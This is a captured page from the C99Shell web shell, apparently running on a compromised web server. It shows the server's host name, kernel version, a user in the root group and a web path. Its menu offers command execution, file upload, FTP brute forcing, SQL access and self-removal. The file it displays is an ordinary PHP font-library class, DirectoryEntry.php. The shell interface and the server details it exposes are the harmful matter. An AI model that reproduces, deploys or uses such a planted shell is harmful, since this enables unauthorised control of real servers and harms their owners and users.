!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/sms.picotech.app/public_html/vendor/phenx/php-font-lib/src/FontLib/Table/   drwxr-xr-x
Free 29.45 GB of 117.98 GB (24.96%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     DirectoryEntry.php (2.4 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * @package php-font-lib
 * @link    https://github.com/dompdf/php-font-lib
 * @author  Fabien Ménager <fabien.menager@gmail.com>
 * @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License
 */
namespace FontLib\Table;

use 
FontLib\TrueType\File;
use 
FontLib\Font;
use 
FontLib\BinaryStream;

/**
 * Generic Font table directory entry.
 *
 * @package php-font-lib
 */
class DirectoryEntry extends BinaryStream {
  
/**
   * @var File
   */
  
protected $font;

  
/**
   * @var Table
   */
  
protected $font_table;

  public 
$entryLength 4;

  public 
$tag;
  public 
$checksum;
  public 
$offset;
  public 
$length;

  protected 
$origF;

  
/**
   * @param string $data
   *
   * @return int
   */
  
static function computeChecksum($data) {
    
$len mb_strlen($data'8bit');
    
$mod $len 4;

    if (
$mod) {
      
$data str_pad($data$len + ($mod), "\0");
    }

    
$table unpack("N*"$data);
    return 
array_sum($table);
  }

  function 
__construct(File $font) {
    
$this->font $font;
    
$this->f    $font->f;
  }

  function 
parse() {
    
$this->tag $this->font->read(4);
  }

  function 
open($filename$mode self::modeRead) {
    
// void
  
}

  function 
setTable(Table $font_table) {
    
$this->font_table $font_table;
  }

  function 
encode($entry_offset) {
    
Font::d("\n==== $this->tag ====");
    
//Font::d("Entry offset  = $entry_offset");

    
$data $this->font_table;
    
$font $this->font;

    
$table_offset $font->pos();
    
$this->offset $table_offset;
    
$table_length $data->encode();

    
$font->seek($table_offset $table_length);
    
$pad 0;
    
$mod $table_length 4;
    if (
$mod != 0) {
      
$pad $mod;
      
$font->write(str_pad(""$pad"\0"), $pad);
    }

    
$font->seek($table_offset);
    
$table_data $font->read($table_length);

    
$font->seek($entry_offset);

    
$font->write($this->tag4);
    
$font->writeUInt32(self::computeChecksum($table_data));
    
$font->writeUInt32($table_offset);
    
$font->writeUInt32($table_length);

    
Font::d("Bytes written = $table_length");

    
$font->seek($table_offset $table_length $pad);
  }

  
/**
   * @return File
   */
  
function getFont() {
    return 
$this->font;
  }

  function 
startRead() {
    
$this->font->seek($this->offset);
  }

  function 
endRead() {
    
//
  
}

  function 
startWrite() {
    
$this->font->seek($this->offset);
  }

  function 
endWrite() {
    
//
  
}
}


:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0039 ]--